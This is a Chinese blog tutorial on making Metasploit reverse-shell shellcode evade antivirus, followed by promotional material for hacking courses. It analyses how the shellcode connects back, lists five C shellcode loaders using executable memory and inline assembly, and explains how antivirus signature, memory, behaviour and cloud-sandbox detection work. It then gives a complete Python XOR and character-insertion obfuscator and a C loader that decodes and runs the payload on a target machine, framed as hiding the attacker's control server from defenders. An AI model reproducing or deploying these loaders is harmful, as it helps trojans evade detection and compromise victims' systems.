免杀基本知识,shellcode混淆免杀
根据源代码我们看到在执行完call ebp以后,就执行了设置地址的操作,也就是说在shellcode中存在了反弹连接的ip地址,这里我们将生成的exe程序放到debug程序中,根据c的源代码,我们的shellcode是在call eax中,所以首先要搜索call eax步入进去以后就进入到shellcde中的代码,在shellcode中找到call ebp。最常见的就是360,刚刚上传的木马没有报
一、shellcode分析及免杀的必要性
shellcode是一段十六进制的机器码,插入内存后会被翻译成为CPU的指令,用于执行相关操作。渗透中的shellcode的主要功能就是反弹shell。将shellcode编译成为exe文件后,执行文件主要进行以下三个操作,建立tcp连接,远程执行命令,退出程序。首先可执行文件会与对应的远控软件建立tcp连接,建立连接后就会等待远程主机发送指令,可执行文件会将接收到的指令传送给相应的函数,并将新的进程的标准输出和错误输出通过tcp连接传送给远程主机,实现远程执行命令。退出程序是指在shellcode执行完以后,会自动释放内存,关闭tcp连接,返回调用前的进程。这里实际感受和分析一下shellcode。
1、这里首先使用msf生成基于windows的32位的反弹shell的c/c++语言格式的shellcode。
使用visual studio进行生成exe文件,这里使用方式四进行加载,后续会讲到。
这里是五种常见的加载代码的方式,选择Release模式,系统为x86,选择生成-->生成解决方案。将生成的exe文件放到相应的win32系统上面运行,msf方面就会上线,(注意目前的shellcode没有做免杀,测试时将杀毒软件关闭)。接下来让我们分析一下这个exe文件时如何上线到正确的地址的。这里联系msf源码中的windows的reverse_tcp.rb进行分析。
根据源代码我们看到在执行完call ebp以后,就执行了设置地址的操作,也就是说在shellcode中存在了反弹连接的ip地址,这里我们将生成的exe程序放到debug程序中,根据c的源代码,我们的shellcode是在call eax中,所以首先要搜索call eax步入进去以后就进入到shellcde中的代码,在shellcode中找到call ebp。
找到后我们发现有两个数据被压入栈中,这里就是要连接的IP地址和端口,我们进行解密查看一下,
下面一个是端口:
在msf的代码中,在设置完地址后就进行了socket连接。至此反弹shell的工作就已经完成。但是这里就有一个问题,我们只需要将木马程序进行简单的分析,就能得到shell回连的IP地址和端口,显然这是很步安全的(对渗透测试者来说),如果杀毒软件发现我们的可执行文件是一个木马程序,轻则会阻止木马 的回连,并不影响我们用于远控的主机;重则可以通过对病毒程序的分析得到远控主机的ip地址,如果我们这台主机还控制着内网中的其他主机,那么他们封了这台主机的IP,就会导致其他机器掉线。由此可见,让木马程序不被杀毒软件发现是十分必要的。
shellcode加载器
1、加载器的作用:由于shellcode是一段可以执行的二进制代码,因此需要开辟出一段可以读写可操作的地址来运行shellcode,而这就是加载器的作用。这里主要介绍几种常见的加载器(基于C语言)。
这里借用刚刚的图,上图就是五种常见的加载器。现在进行一次分析。
2、指针执行:
((void(*)(void)) & buf)();
这是C语言中一种类型转换和函数调用的方式。他会将buf的地址转换为一个无参数、无返回值的函数指针,并调用这个函数。buf中是我们shellcode的内容,(void()(void))是一个函数指针类型,标识没有参数没有返回值类型的函数。&buf表示取buf的地址。 (void()(void)) &buf表示将buf地址转换为一个无参数无返回值的函数的指针,((void(*)(void)) &buf)()表示调用这个函数。
3、强制类型转换:
((void(WINAPI*)(void))&buf)();
这段代码与指针执行的极为相似,唯独多了WINAPI,这个的意思是这个函数指针的调用约定是WINAPI,函数调用约定定义了函数参数如何传递,以及如何接收返回值。不同的调用约定可能会有不同的参数传递方式,以及由谁来清理栈(调用者还是被调用者)。WINAPI 是 Windows API 的函数调用约定,也被称为 __stdcall。这是 Windows 平台上的一种常见的调用约定,主要用于 Win32 API。
4、申请动态内存加载:
char* Memory; Memory =(VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)();
就是动态的在内存中申请一块地址,将buf中的代码复制到其中,并将这块内存区域作为一个函数来执行。具体分析:char* Memory定义了一个字符指针(VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));调用了VirtualAlloc函数在进程的虚拟地址空间中动态分配一块内存,大小是buf的大小,这块内存可以读、写、执行。reinterpret_cast<char>将地址转换为char类型,并将值赋给Memory。memcpy(Memory, buf, sizeof(buf));将buf中的内容赋值给指定的Memory区域,((void(*)())Memory)();将Memory转换为一个无参无返回值的函数并调用执行。
5、嵌入汇编加载:
__asm { lea eax, buf call eax }
这段代码就很容易理解了,直接将buf的的偏移地址加到eax寄存器中,直接使用call指令调用eax寄存器,cpu就会进入到buf中执行shellcode代码中的相关操作。
6、汇编花指令:
__asm{ mov eax, offset shellcode _emit 0xFF _emit 0xE0 }
这段代码与上面的嵌入汇编加载差不多,首先使用mov eax,offset shellcode将shellcode的偏移值存在eax寄存器中,下面两段代码使用_emit指令直接插入机器码,翻译官以来就是jmp eax的意思。
现在来看上面我们在分析生成的exe文件时为什么要先找到call eax并进入,因为只有这样才能进入到shellcode中。并且选择嵌入汇编加载的原因就是因为这样我们才能在OllyDBG中准确的找到shellcode执行的部分,其他的我们并不知道shellcode在内从中被加载到了哪里。
杀毒软件查杀原理
1、了解到病毒的的相关知识以后,我们就需要了解杀毒软件查杀病毒的原理。杀毒软件,国内常见的就是火绒安全,360。国外最多见的就是卡巴斯基。还有就是windows环境自带的Microsoft Defender。由强到弱就是卡巴斯基,360,Microsoft Defender,火绒。下面就介绍杀毒软件的工作方式,静态查杀(特征码匹配),动态查杀(内存查杀),主动防御(行为检测)、云查杀。
2、静态查杀:就是通过匹配特征码进行判断是否为病毒程序。安全公司通过收集病毒样本进行分析提取出一段这个病毒独一无二的特征,只要在检测时发现有存在这个特征的就直接报毒,这种方法简单有效,理论上只要有足够多的病毒样本,就能查杀出病毒。
3、动态检测:上面的静态查杀虽然可以查杀病毒,但是我们可以通过加壳技术来实现绕过,所谓加壳技术就是先将shellcode的源码进行混淆,在程序入口的位置再还原即可,简单来说就是先对十六进制的机器码进行运算(加、减、异或、加密等),在加载器之前在使用代码进行相关的逆操作,还原为原来的代码。这样来看,原有的特征码已经被破坏,就饶过了静态检测。但是执行病毒程序时,由于我们进行相关的还原操作,所以加载到内存中的内容还是我们原本的shellcode,由此推出了内存查杀。要想执行程序就要加载到内存中执行,只要加载到内存里面,shellcode就恢复了它最初的状态,所以杀毒软件就可以在程序运行后到内存中去检测,进行特征的匹配,查杀病毒。
4、主动防御:主动防御主要是用来检测未知病毒以及已知病毒的变种,就是说在没有特征码的情况下进行病毒查杀,原理就是行为检测。不管病毒伪装的多么高深,他的目的是不会变的,那么我们可以通过检测程序的行为判断是否为病毒,如检测程序的文件操作,注册表操作,网络操作,进程操作,某些函数的调用等。分为静态启发和动态启发。静态启发就是在不进行运行的情况下通过对exe进行简单的反汇编,查找一些特定的指令和API的调用;动态启发就是在虚拟的环境中运行程序,检测程序的行为。
5、云查杀:就是将程序上传到云沙箱,执行程序,检测程序的行为,判断是否为木马。最常见的就是360,刚刚上传的木马没有报毒,但是几分钟之内就会被检测为病毒程序,就是因为360会使用云查杀技术,这也是360查杀能力强的原因。
shellcode混淆实现绕过
常见的混淆技术就是加、减、异或、插入字符、AES、RC4等,这里使用的是异或(异或两次后结果不变)和插入字符。混淆的原理就是破坏木马的特征码,避免杀毒软件的特征码检测。我们的木马程序最终需要编译成为exe形式的文件,可以直接在目标机器上执行。上面说到所有msf生成的木马最终都会以原样加载进入内存。所以我们就很好理解混淆是怎么实现的了,只需要先进行混淆,在加载器加载时按逆行的形式进行解密还原后在加载即可。其中python脚本用于加密。
def toxor(shellcode,key1,key2):#做两次不同的异或,先对偶数位做异或,再对三的倍数位作异或 shellcode1="" final_shellcode="" lenshell=len(shellcode) lenkey1=len(key1) lenkey2=len(key2) u=0 for i in range(0,lenshell): a = ord(shellcode[i])#转换为unicode编码,unicode的前128位和ascii一致,转换是为了方便进行异或计算 c=chr(a) if i%2==0: b=ord((key1[u%lenkey1])) m=a^b m=chr(m) shellcode1+=m u+=1 else: shellcode1+=c v=0 for i in range(0, lenshell): h=ord(shellcode1[i]) j=chr(h) if(i%3==0): k=ord((key2[v%lenkey2])) n=h^k n=chr(n) final_shellcode+=n v += 1 else: final_shellcode+=j return final_shellcode def addcode(shellcode,key1):#插入字符,这里插入两个字符串 final_shell="" lenkey1=len(key1) lenshell=len(shellcode) for i in range(0,lenshell): final_shell+=shellcode[i] final_shell+=key1[i%lenkey1] return final_shell def tohex(shellcode):#转换为十六进制 final_shellcode="" lenshell=len(shellcode) for i in range(0,lenshell): y=hex(ord(shellcode[i])).replace('0x','')#转换为十六进制,将0x抓换位空 if len(y)==1:#如果转换为十六进制只有一位,就进行补0操作 y="0"+y final_shellcode=final_shellcode +"\\x"+y return final_shellcode shellcode=""#写入msf生成的shellcode代码 print(len(shellcode)) keya="aqikuaipao" keyb="yeshenyue" keyc="gaoqing" shellcode=toxor(shellcode,keya,keyb) shellcode=addcode(shellcode,keyc) print(tohex(shellcode))
一下时加载器代码,C语言编写:
#include <windows.h> #include <stdio.h> typedef void(_stdcall* CODE)(); #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = ""; void main() { int len_ori_shell = 0;//加密后shellcode的长度 int len_fin_shell = 0;//解密后shellcode的长度 char key1[] = "aqikuaipao"; char key2[] = "yeshenyue"; int len_key1 = sizeof(key1)-1; int len_key2 = sizeof(key2)-1; unsigned char* fin_shell;//解密后的shellcode,类型为unsigned char*方便载入内存 int m; len_ori_shell = sizeof(shellcode); len_fin_shell = (len_ori_shell + 1) / 2;// fin_shell = (char*)malloc(len_fin_shell); //除去添加到其中的字符 m = 0; for (int i = 0; i < len_ori_shell; i++) { if (i % 2 == 0) { fin_shell[m] = shellcode[i]; m++; } } //进行两次异或解密 int n = 0; for (int i = 0; i < len_fin_shell; i++) { if (i % 3 == 0) { fin_shell[i] = fin_shell[i] ^ key2[n % len_key2]; n++; } } m = 0; for (int i = 0; i < len_fin_shell; i++) { if (i % 2 == 0) { fin_shell[i] = fin_shell[i] ^ key1[m % len_key1]; m++; } } PVOID p = NULL; p = VirtualAlloc(NULL, len_fin_shell, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (p == NULL) { return; } memcpy(p, fin_shell, len_fin_shell); CODE code = (CODE)p; code(); }
生成exe文件后放在目标机器上运行,点击运行就可以上线。这段代码仅作为演示,思路可以进行扩展,例如插入多次字符打乱shellcode等。但是现在这样的混淆的加密方式已经不能绕过杀毒软件。因为杀毒软件都已经使用沙盒检测进行病毒的检测,例如火绒的文件实时监控就使用了行为沙盒检测,会在文件落地的一瞬间进行放到沙盒中观测行为,这里需要其他方式进行绕过。具体会在后续文章中继续介绍。
杀软知识补充
现在杀毒的主要检测形式之一就是行为沙盒检测,通过检测文件行为判断是否是木马程序。包括360杀毒,很多时候在上传木马后,360不会检测出来,但是一段时间内(3分钟)就会被杀毒,同时msf监听程序会收到莫名主机的ip,这是因为360会将文件上传到自己的云沙箱检测行为,判断是否为病毒,这就是360的强大之处。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)